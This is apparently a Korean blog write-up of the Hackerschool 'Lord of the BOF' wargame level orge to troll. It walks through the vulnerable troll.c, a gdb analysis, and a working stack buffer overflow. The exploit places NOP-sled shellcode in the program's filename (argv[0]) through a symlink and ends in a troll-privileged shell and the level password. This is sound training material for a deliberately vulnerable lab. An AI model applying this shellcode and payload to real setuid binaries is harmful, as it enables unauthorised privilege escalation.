[lob] 해커스쿨 orge -> troll 풀이

l 해커스쿨 orge 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

orge 문제의 아이디인   orge 와 password인    timewalker  을 입력하여 orge의 유저로 접속합니다.

 

 

 

[orge@localhost orge]$ ls -l
total 20
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/orge ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 troll.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[orge@localhost orge]$ cat troll.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h> 
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

 

 

 

cat 명령어를 사용하여 troll.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이어야 합니다.

2. 환경 변수 영역은 사용할 수 없습니다.

3. argv[1]의 48번째는 \xbf 이어야 합니다.

4. argv[1]의 길이는 48이하여야 합니다.

5. buffer의 영역은 사용할 수 없습니다.

6. argv[1]의 영역도 사용할 수 없습니다.

=> 즉 buffer와 argv[1]은 main이 끝나기 전에 0이 되는 영역입니다.

 

힌트 코드를 분석한 결과 argc는 2 이하 거나 이상일 수 없기 때문에 앞의 문제들처럼 argv[2]의 영역을 사용할 수 없습니다. 또한 argv[1]과 buffer의 영역도 0으로 되기 때문에 두 영역을 사용할 수가 없습니다. 따라서 이 문제를 풀 때는 argv[0]. 즉 파일명을 건드려야 합니다.

 

 

[orge@localhost orge]$ cp troll orge
[orge@localhost orge]$ ls -l
total 36
-rwsr-sr-x    1 orge     orge        12693 Jan 15 13:06 orge
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 troll 파일을 복사해 orge라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[orge@localhost orge]$ gdb orge
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x2,0x8(%ebp)
0x804850a <main+10>:    je     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048690
0x8048511 <main+17>:    call   0x8048410  <printf>
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
0x804851b <main+27>:    call   0x8048420  <exit>
0x8048520 <main+32>:    add    $0x4,%esp
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    movl   $0x0,0xffffffd4(%ebp)
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    0x0(%esi,1),%esi
0x8048530 <main+48>:    mov    0xffffffd4(%ebp),%eax
0x8048533 <main+51>:    lea    0x0(,%eax,4),%edx
0x804853a <main+58>:    mov    0x80497cc,%eax
0x804853f <main+63>:    cmpl   $0x0,(%eax,%edx,1)
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    0xffffffd4(%ebp),%eax
0x804854a <main+74>:    lea    0x0(,%eax,4),%edx
0x8048551 <main+81>:    mov    0x80497cc,%eax
0x8048556 <main+86>:    mov    (%eax,%edx,1),%edx
0x8048559 <main+89>:    push   %edx
0x804855a <main+90>:    call   0x80483f0 <strlen> 
0x804855f <main+95>:    add    $0x4,%esp
0x8048562 <main+98>:    mov    %eax,%eax
0x8048564 <main+100>:   push   %eax
0x8048565 <main+101>:   push   $0x0
0x8048567 <main+103>:   mov    0xffffffd4(%ebp),%eax
0x804856a <main+106>:   lea    0x0(,%eax,4),%edx
0x8048571 <main+113>:   mov    0x80497cc,%eax
0x8048576 <main+118>:   mov    (%eax,%edx,1),%edx
0x8048579 <main+121>:   push   %edx
0x804857a <main+122>:   call   0x8048430  <memset>
0x804857f <main+127>:   add    $0xc,%esp
0x8048582 <main+130>:   incl   0xffffffd4(%ebp)
0x8048585 <main+133>:   jmp    0x8048530 <main+48>
0x8048587 <main+135>:   mov    0xc(%ebp),%eax
0x804858a <main+138>:   add    $0x4,%eax
---Type  to continue, or q  to quit---
0x804858d <main+141>:   mov    (%eax),%edx
0x804858f <main+143>:   add    $0x2f,%edx
0x8048592 <main+146>:   cmpb   $0xbf,(%edx)
0x8048595 <main+149>:   je     0x80485b0 <main+176>
0x8048597 <main+151>:   push   $0x80486a3
0x804859c <main+156>:   call   0x8048410  <printf>
0x80485a1 <main+161>:   add    $0x4,%esp
0x80485a4 <main+164>:   push   $0x0
0x80485a6 <main+166>:   call   0x8048420  <exit>
0x80485ab <main+171>:   add    $0x4,%esp
0x80485ae <main+174>:   mov    %esi,%esi
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   call   0x80483f0 <strlen> 
0x80485be <main+190>:   add    $0x4,%esp
0x80485c1 <main+193>:   mov    %eax,%eax
0x80485c3 <main+195>:   cmp    $0x30,%eax
0x80485c6 <main+198>:   jbe    0x80485e0 <main+224>
0x80485c8 <main+200>:   push   $0x80486c0
0x80485cd <main+205>:   call   0x8048410  <printf>
0x80485d2 <main+210>:   add    $0x4,%esp
0x80485d5 <main+213>:   push   $0x0
0x80485d7 <main+215>:   call   0x8048420  <exit>
0x80485dc <main+220>:   add    $0x4,%esp
0x80485df <main+223>:   nop
0x80485e0 <main+224>:   mov    0xc(%ebp),%eax
0x80485e3 <main+227>:   add    $0x4,%eax
0x80485e6 <main+230>:   mov    (%eax),%edx
0x80485e8 <main+232>:   push   %edx
0x80485e9 <main+233>:   lea    0xffffffd8(%ebp),%eax
0x80485ec <main+236>:   push   %eax
0x80485ed <main+237>:   call   0x8048440  <strcpy>
0x80485f2 <main+242>:   add    $0x8,%esp
0x80485f5 <main+245>:   lea    0xffffffd8(%ebp),%eax
0x80485f8 <main+248>:   push   %eax
0x80485f9 <main+249>:   push   $0x80486d7
0x80485fe <main+254>:   call   0x8048410  <printf>
0x8048603 <main+259>:   add    $0x8,%esp
0x8048606 <main+262>:   push   $0x28
0x8048608 <main+264>:   push   $0x0
0x804860a <main+266>:   lea    0xffffffd8(%ebp),%eax
---Type  to continue, or q  to quit---
0x804860d <main+269>:   push   %eax
0x804860e <main+270>:   call   0x8048430  <memset>
0x8048613 <main+275>:   add    $0xc,%esp
0x8048616 <main+278>:   mov    0xc(%ebp),%eax
0x8048619 <main+281>:   add    $0x4,%eax
0x804861c <main+284>:   mov    (%eax),%edx
0x804861e <main+286>:   push   %edx
0x804861f <main+287>:   call   0x80483f0  <strlen>
0x8048624 <main+292>:   add    $0x4,%esp
0x8048627 <main+295>:   mov    %eax,%eax
0x8048629 <main+297>:   push   %eax
0x804862a <main+298>:   push   $0x0
0x804862c <main+300>:   mov    0xc(%ebp),%eax
0x804862f <main+303>:   add    $0x4,%eax
0x8048632 <main+306>:   mov    (%eax),%edx
0x8048634 <main+308>:   push   %edx
0x8048635 <main+309>:   call   0x8048430  <memset>
0x804863a <main+314>:   add    $0xc,%esp
0x804863d <main+317>:   leave
0x804863e <main+318>:   ret
0x804863f <main+319>:   nop
End of assembler dump.

 

 

 

orge 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x8048503 <main+3>:     sub    $0x2c,%esp 

0x2C을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.

 

 

2. 0x80485ed <main+237>:   call   0x8048440  <strcpy>

orge.c 코드에서 strcpy 부분을 보면 argv[1]을 buffer에 대입하고 있습니다. 인자가 스택에 들어가는 순서는 argv[1]이 먼저 들어가고 그 다음 buffer가 들어가기 때문에 두 번째로 push 되는 주소인 <main + 233>이 buffer의 시작 주소가 됩니다.

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

즉, ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 주소가 되며 위치는 ebp - 40입니다.

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

이번 문제에서 argv[0]을 이용할 것이기 때문에 우선 argv[0]의 위치를 찾아보도록 하겠습니다.

 

 

 

(gdb) b *main+242
Breakpoint 1 at 0x80485f2

(gdb) r `python -c 'print "A"*47+"\xbf"'` 
Starting program: /home/orge/orge `python -c 'print "A"*47+"\xbf"'` 

Breakpoint 1, 0x80485f2 in main ()

(gdb) x/10000s $esp

....
0xbffffc44:      "i686"
0xbffffc49:      "/home/orge/orge"
0xbffffc59:      'A' , "¿"
....

 

 

 

strcpy 다음에 breakpoint를 걸어준 뒤 위와 같이 실행시켜보았습니다. 그리고 esp 지점부터 문자열로 10000개씩 출력한 결과 argv[0]의 위치를 찾을 수 있었습니다. argv[0]은 파일명을 의미하기 때문에  0xbffffc49 가 argv[0]의 주소가 됩니다.

 

 

 

[orge@localhost orge]$ cp troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls -l
total 52
-rwsr-sr-x    1 orge     orge        12693 Jan 15 13:06 orge
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c
-rwsr-sr-x    1 orge     orge        12693 Jan 15 13:09 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?


[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\x49\xfc\xff\xbf"'`
Iüÿ¿
Segmentation fault (core dumped)


 

 

 

셸 코드로 구성된 파일을 하나 생성하고, return 부분을 argv[0]의 주소로 하여 파일을 실행시켜 보았습니다. 그랬더니 core 파일이 생성되었고, 정확한 argv[0]의 주소를 찾기위해 core 파일을 gdb를 통해 분석하겠습니다.

 

 

 

[orge@localhost orge]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffef in ?? ()
(gdb) x/10000s $esp

....
0xbffffaa2:      "./", '\220' , "ë\021^1ɱ2\200l\016ÿ\001\200é\001uöë\005èêÿÿÿ2ÁQi00tii0cjo\212äQT\212â\232±\fÎ\201"
0xbffffb39:      "\236"
....

 

 

 

core 파일에서 argv[0]의 주소를 확인한 결과  0xbffffaa2 입니다. 주소를 알았으니 이제 기존의 파일을 지우고,  셸 코드로 구성된 파일을 심볼릭 링크를 이용하여 다시 생성 후 return 주소에 결과로 나온 주소를 넣고 실행시켜보겠습니다.

 

 

 

페이로드는 다음과 같습니다.

 

 

| 페이로드

./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa2\xfa\xff\xbf"'`

 

 

 

[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls -l
total 100
-rw-------    1 orge     orge        61440 Jan 15 13:11 core
-rwsr-sr-x    1 orge     orge        12693 Jan 15 13:06 orge
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c
lrwxrwxrwx    1 orge     orge            5 Jan 15 13:12 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î? -> troll


[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa2\xfa\xff\xbf"'`
¢úÿ¿
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

 

 

 

파일을 생성 후 위의 페이로드를 입력한 결과 id 명령을 통해 euid가 orge인 것을 확인할 수 있고, my-pass 명령을 통해 troll user의 패스워드도 알 수 있습니다.

 

 

 

l troll 비밀번호

더보기

euid = 508 
aspirin 

 

이 글을 공유하기

댓글

Designed by JB FACTORY